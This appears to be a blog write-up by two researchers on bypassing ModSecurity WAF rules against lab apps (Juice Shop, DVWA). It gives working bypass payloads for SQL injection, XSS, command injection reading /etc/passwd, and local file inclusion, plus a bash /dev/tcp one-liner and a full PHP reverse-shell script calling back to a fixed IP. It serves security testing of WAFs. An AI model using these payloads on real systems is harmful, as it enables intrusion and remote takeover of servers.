How we defeated libModSecurity aka ModSecurity

Image for post
Image for post

Here is the story of how we bypassed ModSecurity and were able to conduct successful XSS, SQLi, Command injections, Unrestricted file upload, and pop shells…

A few weeks ago, we decided to test ModSecurity against two vulnerable applications OWASP Juice Shop and Damn Vulnerable Web Application.

This research was conducted by Mohamed-Yassir Cherif and myself Soufiane Tahiri.

We kept paranoia level 1 (the default) for our SQL injections and XSS challenges

1-SQL Injection

Bypassing a WAF depends usually on the front/back architecture, we were able to successfully perform SQLis by using some underrated (at least when talking about injections) MYSQL functions.
It’s worth saying that before trying to bypass a WAF, it’s quite important to get as much informed as possible about all the technological bricks used by the application being assessed.

All basic injection patterns were caught by the WAF:

Image for post
Image for post
1'+or++1+ — +

Until we read this: https://dev.mysql.com/doc/refman/5.6/en/string-functions.html; The WEIGHT_STRING seems to somehow break the regular expression in use:

Image for post
Image for post
11'+or++WEIGHT_STRING(@@version)=WEIGHT_STRING(@@version)+ — +

Juice uses Sqlite which was quite challenging, we did a very basic and elegant authentication bypass that the WAF cannot catch without causing a catastrophic amount of false positives: ‘; and that’s it!

Image for post
Image for post
admin’or 1=1; —
Image for post
Image for post
admin’;

2-XSS

We fuzzed as much as we could, no working payload popped up for DVWA, but interestingly, Juice which uses sanitize-html helped us a bit by kind of mutating our payload.

In fact, every single classic payload was caught:

Image for post
Image for post

Until our fuzzer came up with this interesting payload:

Image for post
Image for post
“</eeeee><<d<<<<<</eee>a href=<X sAAAAkkkk>jav&#x09;asc&#x09;ript&#x09&#x09&#x0A;&#x3a;alert(0912);>xssmeplease”

That gave up a nice and persistent XSS:

Image for post
Image for post

In the following, we will be using the paranoia level 2 of modsec described as:

Paranoia level 2 (PL2) includes many extra rules, for instance enabling many regexp-based SQL and XSS injection protections, and adding extra keywords checked for code injections

Here is the config:

SecAction \
“id:900000,\
phase:1,\
nolog,\
pass,\
t:none,\
setvar:tx.paranoia_level=2”

SecAction \
“id:900001,\
phase:1,\
nolog,\
pass,\
t:none,\
setvar:tx.executing_paranoia_level=2”

3-Command Injection

Without a surprise we tested the default injection method which failed:

Image for post
Image for post
; ls -al

So we started fuzzing every possible char after the magical semicolon that would bypass the WAF:

Our pattern looked like: ;%xx with xx going from 0 to 255, this way, we ended up with plenty of bypasses as:

Image for post
Image for post
fuzzing ;%xx
Image for post
Image for post
;) ls -al

Well, injecting a command is cool, but if the WAF blocks our attempts to read files, it could become less funny. Based on what we found, we tried to read the content of /etc/passwd with the following: ;)cat /etc/passwd the attempt was unsuccessful, but by combining our bypass with an old trick:

Image for post
Image for post
;)cat /e?c/p?sswd

4-Local file inclusion

LFI was quite easy, the WAF doesn’t seem to really care about many files, with the paranoia level 2 enabled, you can include almost everything:

Image for post
Image for post
%2fproc%2fstat

Even the Modsec CRS config file itself — /etc/modsecurity/crs-setup.conf (which actually made us laugh quite hard)

5-Unrestricted File Upload

Flaws in FU restriction are always fun because they end up in poping easy shells. Modsec was( thankfully) able to block a very basic payload:

Image for post
Image for post
examples.php containing <?php exec(“/bin/bash -c ‘bash -i>& /dev/tcp/”192.168.136.133"/4444 0>&1’”);?>

We tried to figure what kind of extensions it detects so we just fuzzed as we did for command injections, we fuzzed .phx where goes from A to Z, and we had few interesting hits like: .pht which is actually a valid file that stores HTML page that includes a PHP script, dynamically generates HTML, often by accessing database information.

Now that we have an extension that bypassed the WAF, we tried randomly some “triggers” like “exec”, “system”. The interesting conclusion is that (apparently) Modesec doesn’t give a single damn about the file content as long as it doesn’t contain some of these triggers… EASY we made a payload that contains no exec and no system:

Image for post
Image for post

Payload used:

<?php set_time_limit(0);$VERSION=”1.0";$ip=’192.168.136.133';$port=4444;$chunk_size=1400;$write_a=null;$error_a=null;$shell=’uname -a; w; id; /bin/sh -i’;$daemon=0;$debug=0;if(function_exists(‘pcntl_fork’)){$pid=pcntl_fork();if($pid==-1){printit(“ERROR: Can’t fork”);exit(1);}if($pid){exit(0);}if(posix_setsid()==-1){printit(“Error: Can’t setsid()”);exit(1);}$daemon=1;}else {printit(“WARNING: Failed to daemonise. This is quite common and not fatal.”);}chdir(“/”);umask(0);$sock=fsockopen($ip,$port,$errno,$errstr,30);if(!$sock){printit(“$errstr ($errno)”);exit(1);}$descriptorspec=array(0=>array(“pipe”,”r”),1=>array(“pipe”,”w”),2=>array(“pipe”,”w”));$process=proc_open($shell,$descriptorspec,$pipes);if(!is_resource($process)){printit(“ERROR: Can’t spawn shell”);exit(1);}stream_set_blocking($pipes[0],0);stream_set_blocking($pipes[1],0);stream_set_blocking($pipes[2],0);stream_set_blocking($sock,0);printit(“Successfully opened reverse shell to $ip:$port”);while(1){if(feof($sock)){printit(“ERROR: Shell connection terminated”);break;}if(feof($pipes[1])){printit(“ERROR: Shell process terminated”);break;}$read_a=array($sock,$pipes[1],$pipes[2]);$num_changed_sockets=stream_select($read_a,$write_a,$error_a,null);if(in_array($sock,$read_a)){if($debug)printit(“SOCK READ”);$input=fread($sock,$chunk_size);if($debug)printit(“SOCK: $input”);fwrite($pipes[0],$input);}if(in_array($pipes[1],$read_a)){if($debug)printit(“STDOUT READ”);$input=fread($pipes[1],$chunk_size);if($debug)printit(“STDOUT: $input”);fwrite($sock,$input);}if(in_array($pipes[2],$read_a)){if($debug)printit(“STDERR READ”);$input=fread($pipes[2],$chunk_size);if($debug)printit(“STDERR: $input”);fwrite($sock,$input);}}fclose($sock);fclose($pipes[0]);fclose($pipes[1]);fclose($pipes[2]);proc_close($process);function printit($string){if(!$daemon){print”$string\n”;}}?>

Image for post
Image for post
We popped a shell

Conclusion

This research was not very serious, and we found every single bypass in less than 20 hours of work, Except if you are willing to push paranoia to its 4th level and have time and energy to deal with a very high number of false positives, we clearly do not advice the use of Modsec to protect any critical stuff.

Written by

I’m a computer security researcher and science enthusiast who specializes in .NET reverse code engineering and I put interest in low-level techniques.

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store